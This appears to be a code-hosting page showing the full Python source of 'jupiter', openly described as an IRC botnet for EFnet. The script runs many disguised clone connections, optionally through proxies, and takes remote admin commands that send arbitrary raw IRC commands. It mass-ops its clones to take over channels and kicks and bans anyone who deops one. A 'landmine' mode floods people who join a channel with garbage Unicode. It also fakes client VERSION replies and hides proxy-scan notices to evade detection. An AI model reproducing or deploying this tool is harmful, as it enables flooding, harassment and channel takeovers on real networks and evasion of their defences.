jupiter

- efnet irc botnet
git clone git://git.acid.vegas/jupiter.git
Log | Files | Refs | Archive | README | LICENSE

jupiter.py (18858B)

      1 #!/usr/bin/env python
      2 # jupiter: internet relay chat botnet for efnet - developed by acidvegas in python (https://git.acid.vegas/jupiter)
      3 
      4 ''' A M P L I S S I M U S   M A C H I N A '''
      5 
      6 import argparse
      7 import asyncio
      8 import copy
      9 import os
     10 import random
     11 import re
     12 import socket
     13 import ssl
     14 import time
     15 
     16 try:
     17 	import aiosocks
     18 except ImportError:
     19 	raise SystemExit('Error: aiosocks module not installed! (pip install aiosocks)')
     20 
     21 # Connection
     22 servers = (
     23 	{'server':'efnet.deic.eu',         'ssl':6697, 'ipv6': True},
     24 	{'server':'efnet.port80.se',       'ssl':6697, 'ipv6': True},
     25    #{'server':'efnet.portlane.se',     'ssl':6697, 'ipv6': True}, # Removed (efnet.portlane.se is an alias for irc.efnet.org)
     26 	{'server':'irc.choopa.net',        'ssl':9000, 'ipv6': True},
     27 #	{'server':'irc.colosolutions.net', 'ssl':None, 'ipv6':False}, # error: SSL handshake failed: unsafe legacy renegotiation disabled
     28    #{'server':'irc.deft.com',          'ssl':None, 'ipv6':False}, # Removed (irc.deft.com points to irc.servercentral.net)
     29 	{'server':'irc.du.se',             'ssl':None, 'ipv6':False}, # error: handshake failed: dh key too small
     30    #{'server':'irc.efnet.fr',          'ssl':6697, 'ipv6': True}, # Removed (irc.efnet.fr is an alias for irc.efnet.nl)
     31 	{'server':'irc.efnet.nl',          'ssl':6697, 'ipv6': True},
     32 	{'server':'irc.homelien.no',       'ssl':6697, 'ipv6': True},
     33 	{'server':'irc.mzima.net',         'ssl':6697, 'ipv6': True},
     34    #{'server':'irc.nordunet.se',       'ssl':6697, 'ipv6': True}, # Removed (irc.nordunet.se is an alias for irc.swepipe.se)
     35 #	{'server':'irc.prison.net',        'ssl':None, 'ipv6':False},
     36 	{'server':'irc.swepipe.se',        'ssl':6697, 'ipv6': True},
     37 	{'server':'irc.underworld.no',     'ssl':6697, 'ipv6': True},
     38 	{'server':'irc.servercentral.net', 'ssl':9999, 'ipv6':False}
     39 )
     40 ipv6     = False #True # Set to False if your system does not have an IPv6 address
     41 channel  = '#jupiter2'
     42 backup   = '#jupiter2-' + str(random.randint(1000,9999)) # Use /list -re #jupiter-* on weechat to find your bots
     43 key      = 'xChangeMex'
     44 
     45 # Settings
     46 admin           = 'acidvegas!*@*' #'nick!user@host' # Can use wildcards (Must be in nick!user@host format)
     47 connect_delay   = False #True 		       # Random delay between 5-15 minutes before connecting a clone to a server
     48 id              = 'TEST'           # Unique ID so you can tell which bots belong what server
     49 
     50 # Formatting Control Characters / Color Codes
     51 bold        = '\x02'
     52 reset       = '\x0f'
     53 green       = '03'
     54 red         = '04'
     55 purple      = '06'
     56 orange      = '07'
     57 yellow      = '08'
     58 light_green = '09'
     59 cyan        = '10'
     60 light_cyan  = '11'
     61 light_blue  = '12'
     62 pink        = '13'
     63 grey        = '14'
     64 
     65 # Globals
     66 bots     = list()
     67 callerid = list()
     68 
     69 def botcontrol(action, data, ci=False):
     70 	global bots, callerid
     71 	if action == '+':
     72 		if ci:
     73 			if data not in callerid:
     74 				callerid.append(data)
     75 		else:
     76 			if data not in bots:
     77 				bots.append(data)
     78 	elif action == '-':
     79 		if ci:
     80 			if data in callerid:
     81 				callerid.remove(data)
     82 		else:
     83 			if data in bots:
     84 				bots.remove(data)
     85 
     86 def color(msg, foreground, background=None):
     87 	return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
     88 
     89 def debug(data):
     90 	print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), data))
     91 
     92 def error(data, reason=None):
     93 	print('{0} | [!] - {1} ({2})'.format(time.strftime('%I:%M:%S'), data, str(repr(reason)))) if reason else print('{0} | [!] - {1}'.format(time.strftime('%I:%M:%S'), data))
     94 
     95 def is_admin(ident):
     96 	return re.compile(admin.replace('*','.*')).search(ident)
     97 
     98 def rndnick():
     99 	prefix = random.choice(['sl','st','sn','cr','pl','pr','fr','fl','qu','br','gr','sh','sk','tr','kl','wr','bl']+list('bcdfgklmnprstvwz'))
    100 	midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz'))
    101 	suffix = random.choice(['ed','est','er','ered','le','ly','y','ies','iest','ian','ion','est','ing','led','inger']+list('abcdfgklmnprstvwz'))
    102 	endpix = str(random.randint(1960,2025)) if random.choice([True,False]) else str(random.randint(1,99)) if random.choice([True,False]) else ''
    103 	return prefix+midfix+suffix+endpix
    104 
    105 def ssl_ctx():
    106 	ctx = ssl.create_default_context()
    107 	ctx.check_hostname = False
    108 	ctx.verify_mode = ssl.CERT_NONE
    109 	return ctx
    110 
    111 def unicode():
    112 	msg='\u202e\u0007\x03' + str(random.randint(2,14))
    113 	for i in range(random.randint(150, 200)):
    114 		msg += chr(random.randint(0x1000,0x3000))
    115 	return msg
    116 
    117 class clone():
    118 	def __init__(self, server, vhost=None, proxy=None, use_ipv6=False):
    119 		self.server     = server
    120 		self.vhost      = vhost
    121 		self.proxy      = proxy
    122 		self.use_ipv6   = use_ipv6
    123 		self.ssl_status = True
    124 		self.nickname   = rndnick()
    125 		self.host       = self.nickname + '!*@*'
    126 		self.monlist    = list()
    127 		self.landmine   = None
    128 		self.relay      = None
    129 		self.loop       = None
    130 		self.reader     = None
    131 		self.writer     = None
    132 
    133 	async def connect(self):
    134 		while True:
    135 			try:
    136 				if connect_delay:
    137 					await asyncio.sleep(random.randint(30,120))
    138 				if self.proxy:
    139 					self.ssl_status = False
    140 					auth = self.proxy.split('@')[0].split(':') if '@' in self.proxy else None
    141 					proxy_ip, proxy_port = self.proxy.split('@')[1].split(':') if '@' in self.proxy else self.proxy.split(':')
    142 					options = {
    143 						'proxy'      : aiosocks.Socks5Addr(proxy_ip, proxy_port),
    144 						'proxy_auth' : aiosocks.Socks5Auth(*auth) if auth else None,
    145 						'dst'        : (self.server['server'], self.server['ssl'] if self.server['ssl'] and self.ssl_status else 6667),
    146 						'limit'      : 1024,
    147 						'ssl'        : ssl_ctx() if self.server['ssl'] and self.ssl_status else None,
    148 						'family'     : 2
    149 					}
    150 					self.reader, self.writer = await asyncio.wait_for(aiosocks.open_connection(**options), 30)
    151 				else:
    152 					options = {
    153 						'host'       : self.server['server'],
    154 						'port'       : self.server['ssl'] if self.server['ssl'] and self.ssl_status else 6667,
    155 						'limit'      : 1024,
    156 						'ssl'        : ssl_ctx() if self.server['ssl'] and self.ssl_status else None,
    157 						'family'     : socket.AF_INET6 if self.use_ipv6 else socket.AF_INET,
    158 						'local_addr' : (self.vhost, random.randint(5000,60000)) if self.vhost else None
    159 					}
    160 					self.reader, self.writer = await asyncio.wait_for(asyncio.open_connection(**options), 30)
    161 				await self.raw(f'USER {rndnick()} 0 * :{rndnick()}')
    162 				await self.raw('NICK ' + self.nickname)
    163 			except Exception as ex:
    164 				v6 = 'using IPv6 ' if self.use_ipv6 else ''
    165 				if self.ssl_status and self.server['ssl']:
    166 					self.ssl_status = False
    167 					print(options)
    168 					error('Failed to connect to \'{0}\' IRC server {1}on port {2} using SSL/TLS'.format(self.server['server'], v6, str(self.server['ssl'])), ex)
    169 				else:
    170 					if not self.ssl_status and self.server['ssl']:
    171 						self.ssl_status = True
    172 					error('Failed to connect to \'{0}\' IRC server {1}'.format(self.server['server'], v6), ex)
    173 			else:
    174 				await self.listen()
    175 			finally:
    176 				await asyncio.sleep(10) #await asyncio.sleep(86400+random.randint(1800,3600))
    177 
    178 	async def event_message(self, ident, nick, target, msg):
    179 		if target == self.relay:
    180 			await asyncio.sleep(0.5)
    181 			await self.sendmsg(channel, '[{0}] <{1}>: {2}'.format(color(target, cyan), color(nick[:15].ljust(15), purple), msg))
    182 		if is_admin(ident):
    183 			args = msg.split()
    184 			if args[0] in ('@all',self.nickname) and len(args) >= 2:
    185 				if len(args) == 2:
    186 					if args[1] == 'id':
    187 						await self.sendmsg(target, id)
    188 					elif args[1] == 'sync' and args[0] == self.nickname: # NOTE: Do we need sync? Seems to work without it... (sync adds admin to botlist and wont +o swarm everyone if you +o a bot)
    189 						await self.raw('WHO ' + channel)
    190 				elif len(args) == 3:
    191 					if args[1] == '5000':
    192 						chan = args[2]
    193 						if chan == 'stop':
    194 							self.landmine = None
    195 							await self.sendmsg(channel, '5000 mode turned off')
    196 						elif chan[:1] == '#':
    197 							self.landmine = chan
    198 							await self.sendmsg(channel, '5000 mode actived on ' + color(chan, cyan))
    199 					elif args[1] == 'monitor':
    200 						if args[2] == 'list' and self.monlist:
    201 							await self.sendmsg(target, '[{0}] {1}'.format(color('Monitor', light_blue), ', '.join(self.monlist)))
    202 						elif args[2] == 'reset' and self.monlist:
    203 							await self.monitor('C')
    204 							self.monlist = list()
    205 							await self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(self.monlist)), cyan), color('removed', red)))
    206 						elif args[2][:1] == '+':
    207 							nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick not in self.monlist]
    208 							if nicks:
    209 								await self.monitor('+', nicks)
    210 								self.monlist += nicks
    211 								await self.sendmsg(target, '{0} nick(s) have been {1} to the monitor list.'.format(color(str(len(nicks)), cyan), color('added', green)))
    212 						elif args[2][:1] == '-':
    213 							nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick in self.monlist]
    214 							if nicks:
    215 								await self.monitor('-', nicks)
    216 								for mon_nick in nicks:
    217 									self.monlist.remove(mon_nick)
    218 								await self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(nicks)), cyan), color('removed', red)))
    219 					elif args[1] == 'relay' and args[0] == self.nickname:
    220 						chan = args[2]
    221 						if chan == 'stop':
    222 							self.relay = None
    223 							await self.sendmsg(channel, 'Relay turned off')
    224 						elif chan[:1] == '#':
    225 							self.relay = chan
    226 							await self.sendmsg(channel, 'Monitoring ' + color(chan, cyan))
    227 				elif len(args) >= 4 and args[1] == 'raw':
    228 					if args[2] == '-d':
    229 						data = ' '.join(args[3:])
    230 						self.loops = asyncio.create_task(self.raw(data,True))
    231 					else:
    232 						data = ' '.join(args[2:])
    233 						await self.raw(data)
    234 		elif target == self.nickname:
    235 			if msg.startswith('\x01ACTION'):
    236 				await self.sendmsg(channel, '[{0}] {1}{2}{3} * {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg[8:][:-1]))
    237 			else:
    238 				await self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg))
    239 
    240 	async def event_mode(self, nick, chan, modes):
    241 		if chan == backup and modes == '+nt' and key:
    242 			await self.mode(backup, '+mk' + key)
    243 		elif ('e' in modes or 'I' in modes) and self.host in modes:
    244 			if nick not in bots:
    245 				await self.mode(chan, f'+eI *!*@{self.host} *!*@{self.host}') # Quick and dirty +eI recovery
    246 		else:
    247 			nicks = modes.split()[1:]
    248 			modes = modes.split()[0]
    249 			if 'o' in modes:
    250 				state = None
    251 				op = False
    252 				lostop = list()
    253 				for item in modes:
    254 					if item in ('+-'):
    255 						state = item
    256 					else:
    257 						if nicks:
    258 							current = nicks.pop(0)
    259 							if current == self.nickname and item == 'o':
    260 								op = True if state == '+' else False
    261 							elif current in bots and item == 'o' and state == '-':
    262 								lostop.append(current)
    263 				if op:
    264 					if nick not in bots:
    265 						_bots = copy.deepcopy(bots)
    266 						random.shuffle(_bots)
    267 						_bots = [_bots[i:i+4] for i in range(0, len(_bots), 4)]
    268 						for clones in _bots:
    269 							await self.mode(chan, '+oooo ' + ' '.join(clones))
    270 					await self.mode(chan, f'+eI *!*@{self.host} *!*@{self.host}')
    271 					await self.mode(chan, f'+eI {unicode()[:10]}!{unicode()[:10]}@{unicode()[:10]} {unicode()[:10]}!{unicode()[:10]}@{unicode()[:10]}')
    272 				elif lostop:
    273 					await self.mode(chan, '+' + 'o'*len(lostop) + ' ' + ' '.join(lostop))
    274 					await self.raw(f'KICK {chan} {nick} {unicode()}')
    275 					await self.mode(chan, f'+b {nick}!*@*')
    276 					await self.sendmsg(chan, f'{unicode()} oh god what is happening {unicode()}')
    277 
    278 	async def listen(self):
    279 		while not self.reader.at_eof():
    280 			try:
    281 				data = await asyncio.wait_for(self.reader.readuntil(b'\r\n'), 600)
    282 				line = data.decode('utf-8').strip()
    283 				args = line.split()
    284 				if line.startswith('ERROR :Closing Link:'):
    285 					print(line)
    286 					raise Exception('Banned')
    287 				elif line.startswith('ERROR :Reconnecting too fast'):
    288 					raise Exception('Throttled')
    289 				elif args[0] == 'PING':
    290 					await self.raw('PONG ' + args[1][1:])
    291 				elif args[1] == '001': # RPL_WELCOME
    292 					if self.monlist:
    293 						await self.monitor('+', self.monlist)
    294 					await self.raw(f'JOIN {channel} {key}') if key else await self.raw('JOIN ' + channel)
    295 					await self.raw(f'JOIN {backup}  {key}') if key else await self.raw('JOIN ' +  backup)
    296 				elif args[1] == '315': # RPL_ENDOFWHO
    297 					await self.sendmsg(channel, 'Sync complete')
    298 				elif args[1] == '352' and len(args) >= 8: # RPL_WHOREPLY
    299 					nick = args[7]
    300 					botcontrol('+',nick)
    301 				elif args[1] == '433' and len(args) >= 4: # ERR_NICKNAMEINUSE
    302 					nick = args[2]
    303 					target_nick = args[3]
    304 					if nick == '*':
    305 						self.nickname = rndnick()
    306 						await self.nick(self.nickname)
    307 				elif args[1] == '465': # ERR_YOUREBANNEDCREEP
    308 					error('K-Lined', self.server)
    309 				elif args[1] in ('716','717'): # RPL_TARGNOTIFY
    310 					nick = args[2] #TODO: verify this is the correct arguement
    311 					botcontrol(nick, '+', True)
    312 				elif args[1] == '731' and len(args) >= 4: # RPL_MONOFFLINE
    313 					nick = args[3][1:]
    314 					await self.nick(nick)
    315 				elif args[1] == 'JOIN' and len(args) == 3:
    316 					nick = args[0].split('!')[0][1:]
    317 					host = args[0].split('@')[1]
    318 					chan = args[2][1:]
    319 					if chan == self.landmine:
    320 						await self.sendmsg(chan, f'{unicode()} oh god {nick} what is happening {unicode()}')
    321 						await self.sendmsg(nick, f'{unicode()} oh god {nick} what is happening {unicode()}')
    322 					elif chan == channel:
    323 						botcontrol('+', nick)
    324 						if nick == self.nickname:
    325 							self.host = host
    326 				elif args[1] == 'KICK' and len(args) >= 4:
    327 					chan = args[2]
    328 					nick = args[3]
    329 					if nick == self.nickname:
    330 						await asyncio.sleep(3)
    331 						await self.raw('JOIN ' + chan)
    332 				elif args[1] == 'MODE' and len(args) >= 4:
    333 					nick  = args[0].split('!')[0][1:]
    334 					chan  = args[2]
    335 					modes = ' '.join(args[3:])
    336 					await self.event_mode(nick, chan, modes)
    337 				elif args[1] == 'NICK' and len(args) == 3:
    338 					nick = args[0].split('!')[0][1:]
    339 					new_nick = args[2][1:]
    340 					if nick == self.nickname:
    341 						botcontrol('-', nick)
    342 						botcontrol('+', new_nick)
    343 						self.nickname = new_nick
    344 						if self.nickname in self.monlist:
    345 							await self.monitor('C')
    346 							self.monlist = list()
    347 					elif nick in self.monlist:
    348 						await self.nick(nick)
    349 					elif nick in bots:
    350 						botcontrol('-', nick)
    351 						botcontrol('+', new_nick)
    352 				elif args[1] == 'NOTICE':
    353 					nick   = args[0].split('!')[0][1:]
    354 					target = args[2]
    355 					msg    = ' '.join(args[3:])[1:]
    356 					if target == self.nickname:
    357 						if '!' not in args[0] and 'Blacklisted Proxy found' in line:
    358 							error('Blacklisted IP', line)
    359 						elif 'You are now being scanned for open proxies' in line:
    360 							pass # We can ignore these & not relay them into the channel
    361 						else:
    362 							await self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('NOTICE', purple), color('<', grey), color(nick, yellow), color('>', grey), msg))
    363 				elif args[1] == 'PRIVMSG' and len(args) >= 4:
    364 					ident  = args[0][1:]
    365 					nick   = args[0].split('!')[0][1:]
    366 					target = args[2]
    367 					msg    = ' '.join(args[3:])[1:]
    368 					if msg[:1] == '\001':
    369 						msg = msg[1:-1]
    370 						if target == self.nickname:
    371 							if msg == 'VERSION':
    372 								version = random.choice(['http://www.mibbit.com ajax IRC Client','mIRC v6.35 Khaled Mardam-Bey','xchat 0.24.1 Linux 2.6.27-8-eeepc i686','rZNC Version 1.0 [02/01/11] - Built from ZNC','thelounge v3.0.0 -- https://thelounge.chat/'])
    373 								await self.raw(f'NOTICE {nick} \001VERSION {version}\001')
    374 							else:
    375 								await self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('CTCP', green), color('<', grey), color(nick, yellow), color('>', grey), msg))
    376 					else:
    377 						await self.event_message(ident, nick, target, msg)
    378 				elif args[1] == 'QUIT':
    379 					nick = args[0].split('!')[0][1:]
    380 					if nick in self.monlist:
    381 						await self.nick(nick)
    382 					elif nick in bots:
    383 						botcontrol('-', nick)
    384 			except (UnicodeDecodeError,UnicodeEncodeError):
    385 				pass
    386 			except Exception as ex:
    387 				error('Unexpected error occured on \'{0}\' server.'.format(self.server['server']), ex)
    388 				try:
    389 					self.loop.cancel()
    390 				except:
    391 					pass
    392 				break
    393 
    394 	async def mode(self, target, mode):
    395 		await self.raw(f'MODE {target} {mode}')
    396 
    397 	async def monitor(self, action, nicks=list()):
    398 		await self.raw(f'MONITOR {action} ' + ','.join(nicks))
    399 
    400 	async def nick(self, nick):
    401 		await self.raw('NICK ' + nick)
    402 
    403 	async def raw(self, data, delay=False):
    404 		try:
    405 			if delay:
    406 				await asyncio.sleep(random.randint(60,300))
    407 			self.writer.write(data[:510].encode('utf-8') + b'\r\n')
    408 			await self.writer.drain()
    409 		except asyncio.CancelledError:
    410 			pass
    411 
    412 	async def sendmsg(self, target, msg):
    413 		await self.raw(f'PRIVMSG {target} :{msg}')
    414 
    415 async def main(input_data=None):
    416 	jobs = list()
    417 	for i in range(args.clones):
    418 		for server in servers:
    419 			if input_data:
    420 				for item in input_data:
    421 					if args.proxies:
    422 						jobs.append(asyncio.ensure_future(clone(server, proxy=item).connect()))
    423 					elif args.vhosts:
    424 						if ':' in item:
    425 							if ipv6 and server['ipv6']:
    426 								jobs.append(asyncio.ensure_future(clone(server, vhost=item, use_ipv6=True).connect()))
    427 						else:
    428 							jobs.append(asyncio.ensure_future(clone(server, vhost=item).connect()))
    429 			
    430 			else:
    431 				jobs.append(asyncio.ensure_future(clone(server).connect()))
    432 				if ipv6 and server['ipv6']:
    433 					jobs.append(asyncio.ensure_future(clone(server, use_ipv6=True).connect()))
    434 	await asyncio.gather(*jobs)
    435 
    436 # Main
    437 if __name__ == '__main__':
    438 	print('#'*56)
    439 	print('#{:^54}#'.format(''))
    440 	print('#{:^54}#'.format('Jupiter IRC botnet for EFnet'))
    441 	print('#{:^54}#'.format('Developed by acidvegas in Python'))
    442 	print('#{:^54}#'.format('https://git.acid.vegas/jupiter'))
    443 	print('#{:^54}#'.format(''))
    444 	print('#'*56)
    445 	parser = argparse.ArgumentParser(usage='%(prog)s [options]')
    446 	parser.add_argument('-p', '--proxies', type=str, help="Path to file containing proxies.")
    447 	parser.add_argument('-v', '--vhosts',  type=str, help="Path to file containing vhosts.")
    448 	parser.add_argument('-c', '--clones',  type=int, default=3, help="Number to define the concurrency to use. Default is 3.")
    449 	args = parser.parse_args()
    450 	if args.proxies and args.vhosts:
    451 		raise SystemExit('Cannot use both proxies & vhosts at the same time!')
    452 	elif (input_file := args.proxies if args.proxies else args.vhosts if args.vhosts else None):
    453 		if os.path.exists(input_file):
    454 			data = set([item.rstrip() for item in open(input_file, 'r').read().splitlines() if item])
    455 			if data:
    456 				print('Loaded {0:,} items from {1}'.format(len(data), input_file))
    457 				asyncio.run(main(data))
    458 			else:
    459 				raise SystemExit(f'Error: {input_file} is empty!')
    460 		else:
    461 			raise SystemExit(f'Error: {input_file} does not exist!')
    462 	else:
    463 		print('Loading raw clones...')
    464 		asyncio.run(main())